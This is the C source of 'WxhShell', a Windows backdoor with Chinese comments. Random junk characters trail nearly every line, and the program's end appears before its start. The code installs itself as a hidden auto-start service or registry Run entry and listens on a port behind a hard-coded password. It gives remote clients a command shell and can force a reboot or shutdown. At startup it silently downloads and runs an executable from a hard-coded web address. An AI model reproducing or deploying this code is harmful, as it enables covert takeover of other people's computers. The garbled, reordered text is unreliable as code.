    if(Boot(SHUTDOWN)) ^[\53\R~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ew,wNR`  
    else { .LTFa.jxA  
    closesocket(wsh); hpi_0lMkI  
    ExitThread(0); <n~g+ps  
    } !VZCM{  
    break; ZwrYs s  
    } u(G;57ms  
  // 获取shell (lck6v?h  
  case 's': { au}0PnA;  
    CmdShell(wsh); u$/2XO  
    closesocket(wsh); ib=^ tK  
    ExitThread(0); fF]&{b~wk  
    break; Gt%?[  
  } vFvu8*0  
  // 退出 C%7)sLWjJS  
  case 'x': { X1z0'gvh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4y}a,  
    CloseIt(wsh); Y&Vbf>Hi+  
    break; mE@o27  
    } /g- X=|?F  
  // 离开 J1ro\"  
  case 'q': { vc1GmB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C%o/  
    closesocket(wsh); KZ/^gR\d  
    WSACleanup(); EsxTBg  
    exit(1); Zu73x#pI  
    break; 3bL2fsn5  
        } W oG  
  } Oy`\8*Uy__  
  } exN#!& ;  
oW1olmpp=  
  // 提示信息 D~?*Xv]s ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n[S*gX0  
} 7XC}C+  
  } pQ`L=#WM  
5<8>G?Y  
  return; f2e$BA  
} r|BKp,u9  
{[y"]_B4  
// shell模块句柄 w3|.4hS  
int CmdShell(SOCKET sock) hfa_M[#Q-  
{ ' g!_Flk  
STARTUPINFO si; NP`ll0s  
ZeroMemory(&si,sizeof(si)); en6AAr:U}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {ZI6!zh'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NbMH@6%E  
PROCESS_INFORMATION ProcessInfo; %.gjBI=  
char cmdline[]="cmd"; 7n/I'r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g#nsA(_L  
  return 0; JM9Q]#'t  
} &`y_R'  
{YLJKu!M  
// 自身启动模式 _IGa8=~  
int StartFromService(void) TK?N^ly  
{ {$=%5  
typedef struct BqAwo  
{ nE.s  
  DWORD ExitStatus; bGnJ4R3J  
  DWORD PebBaseAddress; eb woMG,B-  
  DWORD AffinityMask; j`M<M[C*4N  
  DWORD BasePriority; BnY|t2r  
  ULONG UniqueProcessId; (&x\,19U$  
  ULONG InheritedFromUniqueProcessId; J3E:r_+  
}   PROCESS_BASIC_INFORMATION; u+FftgA  
aVL%-Il}  
PROCNTQSIP NtQueryInformationProcess; j'b4Sb s-f  
4KB?g7_*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mo r-$a8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #`wfl9tj  
R.$Y1=U6  
  HANDLE             hProcess; D"aQbQP  
  PROCESS_BASIC_INFORMATION pbi; 6j![m+vo%  
l),13"?C(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 32'9Ch.  
  if(NULL == hInst ) return 0; v333z<<S  
4B>|Wft{p]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _ L6>4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a m%{M7":7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &,|uTIs  
9:5NX3"p  
  if (!NtQueryInformationProcess) return 0; UZ0O j5B.  
3+PM_c)Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OtqLigt&l  
  if(!hProcess) return 0; \K=PIcH  
IUG .q8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Efd[ZJxS6  
+@v} (  
  CloseHandle(hProcess); 2xm?,p`  
Y0'^S<ox  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Jb$AA! z  
if(hProcess==NULL) return 0; :|( B[  
$ $+z^%'_  
HMODULE hMod; @2O\M ,g5  
char procName[255]; (Gs g+c   
unsigned long cbNeeded; K?eo)|4)DB  
g 0=t9J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v65r@)\`  
;:1mv  
  CloseHandle(hProcess); OPh@H.)^  
$$>,2^qr&L  
if(strstr(procName,"services")) return 1; // 以服务启动 : P2;9+v  
~qxc!k!w4  
  return 0; // 注册表启动 2M`Ni&v  
} +}'K6x_  
"FD~XSRL  
// 主模块 ^el:)$  
int StartWxhshell(LPSTR lpCmdLine) Pk2 "\y@q/  
{ -p~B -,  
  SOCKET wsl; x&p=vUuukP  
BOOL val=TRUE;  =7@  
  int port=0; $o^}<)DW  
  struct sockaddr_in door; B-zt(HG  
L1+cv;t  
  if(wscfg.ws_autoins) Install(); p gi7 JQ  
pYQs|5d  
port=atoi(lpCmdLine); GQ8P}McA  
pc>R|~J{2  
if(port<=0) port=wscfg.ws_port; ;^]F~x}  
!%=k/|#  
  WSADATA data; RmCR"~   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (ZJ_&8C#  
/ nRaxzf'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '?4[w]0J<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :eO0{JN4T  
  door.sin_family = AF_INET; nQC[[G*x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o!d0  
  door.sin_port = htons(port); rkp0ej2-  
o)DKP>IM#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JJa?"82FXZ  
closesocket(wsl); i[ lH@fJm_  
return 1; jws(`mIf\  
} 1uE[ %M  
}zi6F.  
  if(listen(wsl,2) == INVALID_SOCKET) { ^.7xu/T  
closesocket(wsl); u[@*}|uXM  
return 1; %*hBrjbj  
} d{jl&:  
  Wxhshell(wsl); c0~'5Mlp  
  WSACleanup(); zSO9 U  
x;/3_"$9>\  
return 0; `^x^= og'  
Kxn=iv^Ir  
} !Ai;S  
7Q&P4{hi0  
// 以NT服务方式启动 )LUl?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g;1 UZE;  
{ vF 1$$7k  
DWORD   status = 0; 6w#v,RDEu  
  DWORD   specificError = 0xfffffff; e V#H"fM  
c{0?gt.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sy?W\(x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fC[gu$f][  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rCYn YA  
  serviceStatus.dwWin32ExitCode     = 0; hR2.w/2j  
  serviceStatus.dwServiceSpecificExitCode = 0; G})mw  
  serviceStatus.dwCheckPoint       = 0; XafyI*pOX  
  serviceStatus.dwWaitHint       = 0; E&AR=yqk  
w.jATMJ)F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'AU!xG6OQ  
  if (hServiceStatusHandle==0) return; /:)4tIV  
*@Z'{V\  
status = GetLastError(); Z9y:}:j"  
  if (status!=NO_ERROR) ]0O$2j_7  
{ ZBWe,Xvq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yO)Qg* r  
    serviceStatus.dwCheckPoint       = 0; -_dgd:or  
    serviceStatus.dwWaitHint       = 0; ;DOz92X94  
    serviceStatus.dwWin32ExitCode     = status; TfOZ>uR"g  
    serviceStatus.dwServiceSpecificExitCode = specificError; %]` WsG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pD9c%P  
    return; +J}M$e Q  
  } K`sm  
' =kX   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :0l(Ll KD  
  serviceStatus.dwCheckPoint       = 0; X,b} d#\  
  serviceStatus.dwWaitHint       = 0; g o@}r<B$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t&0p@xLQ  
} iJK9-k~  
~a}pYLxl  
// 处理NT服务事件,比如:启动、停止 4KKNw9L)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d:aQlW;}  
{ \GN5Sy]r  
switch(fdwControl) 3ml|`S  
{ $n) w4p_  
case SERVICE_CONTROL_STOP: }% =P(%-  
  serviceStatus.dwWin32ExitCode = 0; e:]$UAzp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;-F#a+2]!  
  serviceStatus.dwCheckPoint   = 0; -MZ Eli g  
  serviceStatus.dwWaitHint     = 0; pJI H_H  
  { RDbA"e5x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _gHJ4(?w  
  } KRQ/wuv  
  return; "(5}=T@,  
case SERVICE_CONTROL_PAUSE: >; Bhl|r~z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F&\o1g-L  
  break; {XAKf_Cg  
case SERVICE_CONTROL_CONTINUE: "v06F j>q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )]}*oO  
  break; XpGom;z^c  
case SERVICE_CONTROL_INTERROGATE: ^s-3U  
  break; kF5}S8B  
}; xiiZ'U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p ,!`8c6  
} ;Mc}If*  
9f "*O j  
// 标准应用程序主函数 CfAqMH*ip  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0t~--/lA  
{ tPUQ"S  
qy !G&  
// 获取操作系统版本 l/]P6 @N  
OsIsNt=GetOsVer(); _VJb i,V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -%A6eRShk  
&&JMw6 &[`  
  // 从命令行安装 <:p&P  
  if(strpbrk(lpCmdLine,"iI")) Install(); /[IK [  
CNwhH)*  
  // 下载执行文件 5segzaI  
if(wscfg.ws_downexe) { )gR&Ms4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nD_g84us  
  WinExec(wscfg.ws_filenam,SW_HIDE); {|fA{ Q_R  
} NO&OuiN  
LRs{nN.N  
if(!OsIsNt) { HTC7fS  
// 如果时win9x,隐藏进程并且设置为注册表启动 *?uF&( 0  
HideProc(); #X)s=Y&5!T  
StartWxhshell(lpCmdLine); V3-LVgM%  
} a'|0e]  
else k;)L-ge9  
  if(StartFromService()) D -jew&B  
  // 以服务方式启动 ,UP6.C14  
  StartServiceCtrlDispatcher(DispatchTable); R'{V&H^Z  
else UY==1\  
  // 普通方式启动 lfhB2^ ^  
  StartWxhshell(lpCmdLine); ZE :oK   
Deam%)bXM]  
return 0; rScmUt  
} au8) G_A  
2XE4w# [j  
ELm#  
hZpFI?lqc\  
=========================================== []@Mk  
zIL.R#|D=  
@=9QV3D  
W&"FejD  
f; 22viE  
WN0^hDc-  
" m?csake.Me  
wiutUb Y  
#include <stdio.h> ' ft  |  
#include <string.h> X9P-fF?0  
#include <windows.h> PBUc9/  
#include <winsock2.h> )a.U|[:y[+  
#include <winsvc.h> .8,lhcpY  
#include <urlmon.h> !,\]> c  
-Oo$\=d  
#pragma comment (lib, "Ws2_32.lib") 5%Q!R%  
#pragma comment (lib, "urlmon.lib") A}%sF MA  
g><sZqj8tt  
#define MAX_USER   100 // 最大客户端连接数 W6)A":`  
#define BUF_SOCK   200 // sock buffer "];19]x6q  
#define KEY_BUFF   255 // 输入 buffer ie_wJ=s  
#):FXB$a  
#define REBOOT     0   // 重启 /g_}5s-Z  
#define SHUTDOWN   1   // 关机 6Us#4 v,  
55#H A?cR  
#define DEF_PORT   5000 // 监听端口 $`uL^ hlj]  
uv@4/M`  
#define REG_LEN     16   // 注册表键长度 OaEOk57%de  
#define SVC_LEN     80   // NT服务名长度 hWUZn``U$|  
#bGt%*Re p  
// 从dll定义API $GcVC (]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lAoH@+dyA+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DukCXyB*l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?(mlt"tPk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -O ej6sILO  
-JcfP+{wS  
// wxhshell配置信息 ;}r#08I  
struct WSCFG { )37|rB E  
  int ws_port;         // 监听端口 C9~CP8  
  char ws_passstr[REG_LEN]; // 口令 {6n B83BB  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5VISP4a  
  char ws_regname[REG_LEN]; // 注册表键名 GI/g@RV  
  char ws_svcname[REG_LEN]; // 服务名 ~O<Bs{8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YS;Q l\4   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nY6^DE2f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g n'. 9";j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1(m8 9C[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %=GnGgu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \s,ZE6dQ  
P[D ^*}  
}; A$ s4Q0Mf  
vmL0H)q  
// default Wxhshell configuration Q|;8\5  
struct WSCFG wscfg={DEF_PORT, iLgWzA  
    "xuhuanlingzhe", Yw./V0Z{@  
    1, * c xYB  
    "Wxhshell", ab6KK$s  
    "Wxhshell", r=u>TA$  
            "WxhShell Service", =n9|r.\&uJ  
    "Wrsky Windows CmdShell Service", / S]<MS  
    "Please Input Your Password: ", BaqRAO7  
  1, n&&X{Rl  
  "http://www.wrsky.com/wxhshell.exe", o@"H3 gz  
  "Wxhshell.exe" G !wFG-Y}  
    }; O{Wy;7i  
kvKbl;<&#  
// 消息定义模块 z`'{l {  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @'dtlY5;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YX- G>.Pc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *;Sj&O  
char *msg_ws_ext="\n\rExit."; b1_HDC(  
char *msg_ws_end="\n\rQuit."; *_@8v?  
char *msg_ws_boot="\n\rReboot..."; |LWG7 ZE  
char *msg_ws_poff="\n\rShutdown..."; ]M#_o]  
char *msg_ws_down="\n\rSave to "; `N$<]i]s5  
.]P@{T||Y  
char *msg_ws_err="\n\rErr!"; }ufH![|[r  
char *msg_ws_ok="\n\rOK!"; rtC.!].;%  
iE>T5XV8$B  
char ExeFile[MAX_PATH]; tK0?9M.)  
int nUser = 0; |s=)*DZv  
HANDLE handles[MAX_USER]; u|i.6:/=  
int OsIsNt; Bh<)e5lP:  
fsb_*sh&  
SERVICE_STATUS       serviceStatus; r;SA1n#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :IvKxOv  
 qauk,t  
// 函数声明 # sm>;+J  
int Install(void); |h4aJv  
int Uninstall(void); >}Fe9Y.o  
int DownloadFile(char *sURL, SOCKET wsh); X)x$h{ OE  
int Boot(int flag); xV}-[W5sr'  
void HideProc(void); 6o!+E@V b  
int GetOsVer(void); m&cVda/  
int Wxhshell(SOCKET wsl); "1yXOy^2  
void TalkWithClient(void *cs); Fn1|Wt*  
int CmdShell(SOCKET sock); J1KV?aR  
int StartFromService(void); rISg`-  
int StartWxhshell(LPSTR lpCmdLine); p78X,44xg  
*+rO3% ;t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;(5b5PA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iW9G0Ay  
'+JU(x{CCl  
// 数据结构和表定义 M|6 l  
SERVICE_TABLE_ENTRY DispatchTable[] = rK7m(  
{ 4:WN-[xX  
{wscfg.ws_svcname, NTServiceMain}, 3%p^>D\  
{NULL, NULL} 4At{(fw W  
}; GB&<+5t2  
aOIE9wO  
// 自我安装 ^U)xQD"  
int Install(void) cA m>f[  
{ rzsAnLxo  
  char svExeFile[MAX_PATH]; *#\da]"{  
  HKEY key; o)GLh^g_I'  
  strcpy(svExeFile,ExeFile); {d|e@`"T  
2guWWFS  
// 如果是win9x系统,修改注册表设为自启动 2M1}`H\  
if(!OsIsNt) { "Y-_83  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iK%%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lpi^<LQ@l  
  RegCloseKey(key); jv_z%`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rf9;jwU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m:_'r"o  
  RegCloseKey(key); K*NCIIDh  
  return 0; _[SW89zk  
    } W"MwpV  
  } {$5?[KD  
} AR8zCKBc^  
else { ?%K7IJ%  
}]VFLBl`w  
// 如果是NT以上系统,安装为系统服务 dTcrJ|/Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %PW_v~sg  
if (schSCManager!=0) 2)cq!Zv  
{ bh V.uBH  
  SC_HANDLE schService = CreateService #2{H!jr  
  ( ZgarxV*  
  schSCManager, 3V2dN )\  
  wscfg.ws_svcname, J$"3w,O6+U  
  wscfg.ws_svcdisp, 6N+]g/_a  
  SERVICE_ALL_ACCESS, yUd>EnQna  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9 M>.9~  
  SERVICE_AUTO_START, &![3{G"+>l  
  SERVICE_ERROR_NORMAL, ^V,?n@c!  
  svExeFile, _/xA5/V  
  NULL, awu18(;J  
  NULL, 2nz^%pLT  
  NULL, 5\S s`#g  
  NULL, ^6g^ Q*"  
  NULL .0 }eg$d  
  ); }Y9= 3X  
  if (schService!=0) ' m^nKG$"  
  { 9eR4?^(3!  
  CloseServiceHandle(schService); M it3q  
  CloseServiceHandle(schSCManager); b5!D('w>]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .! 'SG6 q  
  strcat(svExeFile,wscfg.ws_svcname); MEKsL7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y-YlQ ^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f(SK[+aqW  
  RegCloseKey(key); g  Z!q  
  return 0; x#)CH}J  
    } m!#'4  
  } skeH~-`M@  
  CloseServiceHandle(schSCManager); rD_\NgVAs  
} 1/\JJ\  
} }%) ]b*3  
UmEc")3  
return 1; b;xn0sDn#  
} s]X0}"cz  
r{g8CIwGQ  
// 自我卸载 C!X"0]@FA  
int Uninstall(void) ~$PY6s  
{ 8@rddk  
  HKEY key; Ar{7H)V:  
JiN>sEAM  
if(!OsIsNt) { W *.j=?)\[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >a%C'H.A9  
  RegDeleteValue(key,wscfg.ws_regname); ngLpiU0H&  
  RegCloseKey(key); w#qE#g %1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !94qF,#1  
  RegDeleteValue(key,wscfg.ws_regname); nY M2Vxi0+  
  RegCloseKey(key); ){}1u ?  
  return 0; lD9QS ;  
  } 0Ba*"/U]t~  
} SB x<-^  
} K&'Vd@  
else { ' Bx"i  
,::f? Gc7j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (baBi9<P=  
if (schSCManager!=0) e|1.-P@  
{ W6^YFN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o$q})!  
  if (schService!=0) Gov]^?^D-  
  { 7ILb&JQ!%{  
  if(DeleteService(schService)!=0) { [Fk|%;B/~  
  CloseServiceHandle(schService); 2]:Z7Ji  
  CloseServiceHandle(schSCManager); .(g"(fgF  
  return 0; eXA@J[- M:  
  } 4ux^K:z  
  CloseServiceHandle(schService); }kZ)|/]kn  
  } &iI5^b-P  
  CloseServiceHandle(schSCManager); ssY5g !%  
} |\BxKwS^  
} F<0GX!p4u  
O_ 4 j"0  
return 1; IRG-H!FV  
} A<p6]#t#X)  
qxbGUyH==  
// 从指定url下载文件 5}Z_A?gy  
int DownloadFile(char *sURL, SOCKET wsh) 6<SX%Bc~  
{ 2 Q}^<^r  
  HRESULT hr; '5etZ!:  
char seps[]= "/"; 8[rZRc  
char *token; D}T+X ;u)K  
char *file; It#T\fU  
char myURL[MAX_PATH]; =wquFA!c  
char myFILE[MAX_PATH]; Mwtd<7<!A  
V:'_m'.-Y  
strcpy(myURL,sURL); M$Or|HTG  
  token=strtok(myURL,seps); fx=HKt  
  while(token!=NULL) IeT1Jwe  
  { ~O8Xj6  
    file=token; b wqd` C  
  token=strtok(NULL,seps); kO}Q OL4  
  } |%$mN{  
{Rtl<W0  
GetCurrentDirectory(MAX_PATH,myFILE); Q@ghQGn#  
strcat(myFILE, "\\"); #`qP7E w  
strcat(myFILE, file); AQgagE^  
  send(wsh,myFILE,strlen(myFILE),0); z8JdA%YBM  
send(wsh,"...",3,0);  j|owU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hZtJ LY  
  if(hr==S_OK) 1X-fiQJe  
return 0; @+&QNI06S  
else A(1d q  
return 1; <IwfiI3y  
 % Z-B{I(  
} =bh.V@*  
~]78R!HJ  
// 系统电源模块 <G60R^o  
int Boot(int flag) DAVgP7h'  
{ QHPC?a6CD  
  HANDLE hToken; wS;hC&~2  
  TOKEN_PRIVILEGES tkp; Bhf4 /$  
3-4CGSX;X  
  if(OsIsNt) { s#>``E!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v]@ n'!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k:DAko}  
    tkp.PrivilegeCount = 1; G F17oMi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ; %mYsQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8m*uT< 5D  
if(flag==REBOOT) { ->*'Y;t4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vv^(c w>A  
  return 0; 8/T,.<5  
} C@OY)!x!  
else { ^"{txd?6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j-(k`w\  
  return 0; zC|y"PTw  
} (aX6jdvo  
  } !cA4erBP  
  else { xC YL3hl  
if(flag==REBOOT) { |#J!oBS!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o l8|  
  return 0; Rdl^-\BV  
} rssn'h  
else { g1(`a`M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~T:L0||.%9  
  return 0; fBZR  
} A5kz(pj  
} V[fcP;   
!A=>B=.|D  
return 1; Y N*"q'Yz_  
} Hq."_i{I  
'w`3( ':=  
// win9x进程隐藏模块 &k@r23V7r  
void HideProc(void) $zD}hO9  
{ &- 2i+KjEX  
lQl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p?Jx2(%m  
  if ( hKernel != NULL ) *Ry{}|_8  
  { 8j jq)d4#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 97\9!)`,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f{ER]U  
    FreeLibrary(hKernel); &!KW[]i%9}  
  } 69JC!du  
qV7nF }V{  
return; X~> 2iL  
} @ZtDjxN &  
#n6<jF1G  
// 获取操作系统版本 gF8n{b  
int GetOsVer(void) #9 u2LK  
{ !fK9YW(Im  
  OSVERSIONINFO winfo; OE[N$,4I*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MtXTh*4  
  GetVersionEx(&winfo); xy Pz_9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C?fa-i0l^  
  return 1; b5Vn_;V*  
  else HN~  
  return 0; &'A8R;b}-?  
} +X4/l"|  
m6YDyQC  
// 客户端句柄模块 obtXtqew  
int Wxhshell(SOCKET wsl) oa:30@HSb  
{ ?)mM]2%%  
  SOCKET wsh; ?n9?`8a#  
  struct sockaddr_in client; K-,8~8[  
  DWORD myID; [RFF&uy  
\8iWcqJktN  
  while(nUser<MAX_USER) q&0I7OV  
{ 6U[bAp  
  int nSize=sizeof(client); <ecif_a=m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m j@{hGP  
  if(wsh==INVALID_SOCKET) return 1; } 0x'm  
!R"iV^?V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (^ ;Fyf/  
if(handles[nUser]==0) pqnZ:'V  
  closesocket(wsh); L>{p>  
else .wJv_  
  nUser++; ~E*`+kD  
  } ?h7(,39^>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `&!J6)OJ  
&0*IN nlc?  
  return 0; BZ"+ ND9m_  
} 1PnWgu  
mQ qv{1  
// 关闭 socket -1<*mbb0  
void CloseIt(SOCKET wsh) 6y}|IhX?z  
{ 7<7 /NZ<I  
closesocket(wsh); 2SlOqH1  
nUser--; Z0Df~ @  
ExitThread(0); UCL aCt -  
} cr"AK"TQ  
 g1B[RSWv  
// 客户端请求句柄 '/ v@q]!  
void TalkWithClient(void *cs) V]qv,>  
{ K6nGC  
z[bS soK`  
  SOCKET wsh=(SOCKET)cs; J-)9>~[E<  
  char pwd[SVC_LEN]; /4lm=ZE/  
  char cmd[KEY_BUFF]; 9>1Gj-S2:  
char chr[1]; 5*IfI+}  
int i,j; yx&'W_Q@  
`D9AtN] R  
  while (nUser < MAX_USER) { ^*A8 NdaB  
ncCgc5uP  
if(wscfg.ws_passstr) { OjRJyhzS*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fg<rz&MR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UqEpeLK  
  //ZeroMemory(pwd,KEY_BUFF); :qL1jnR^  
      i=0; ;8J+Q0V  
  while(i<SVC_LEN) { +*vg) F:  
E|>oseR  
  // 设置超时 NvU~?WN  
  fd_set FdRead; V detY\  
  struct timeval TimeOut; WPu{ ]<pl  
  FD_ZERO(&FdRead); eh5j  
  FD_SET(wsh,&FdRead); N]iu o.  
  TimeOut.tv_sec=8; Tye[iJ  
  TimeOut.tv_usec=0; 5^7q 2".  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l-G] jXu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #I] ^Wo  
-`<KjS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i |IG  
  pwd=chr[0]; Mpu8/i gX,  
  if(chr[0]==0xd || chr[0]==0xa) { \.,qAc\[  
  pwd=0; '&n4W7  
  break; ^;=L|{Xl  
  } Ln C5"  
  i++; %?WR 9}KU0  
    } i>}aQ:&^0  
1@L|EFa  
  // 如果是非法用户,关闭 socket :d,]BB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JLFZy\  
} :^[HDI-[2  
Kfl#78$d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z<^TO1xs9B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 7{>x[  
e ) ?~  
while(1) { q|_t=YM@  
+M/1,&  
  ZeroMemory(cmd,KEY_BUFF); TEYn^/n~  
{'e%Hx  
      // 自动支持客户端 telnet标准   T_=iJ: Q  
  j=0; ? j8S.d~  
  while(j<KEY_BUFF) { <4m@WG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z6+D=<  
  cmd[j]=chr[0]; gV\{Qoj  
  if(chr[0]==0xa || chr[0]==0xd) { Yl#|+xYA5[  
  cmd[j]=0; jJOs`'~Q\  
  break; !0k'fYCa  
  } sN%#e+(=  
  j++; *dw6>G0U  
    } DLP G  
ZI>')T<@j"  
  // 下载文件 ,2C{X+t  
  if(strstr(cmd,"http://")) { gvLzE&V}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?5e]^H}  
  if(DownloadFile(cmd,wsh)) ,9@JBV%_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'K{>"~1a  
  else !CO1I-yL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HX&G  k  
  } G &LOjd 2  
  else {   iE8  
+t hkx$o  
    switch(cmd[0]) { CfMCc:8mL  
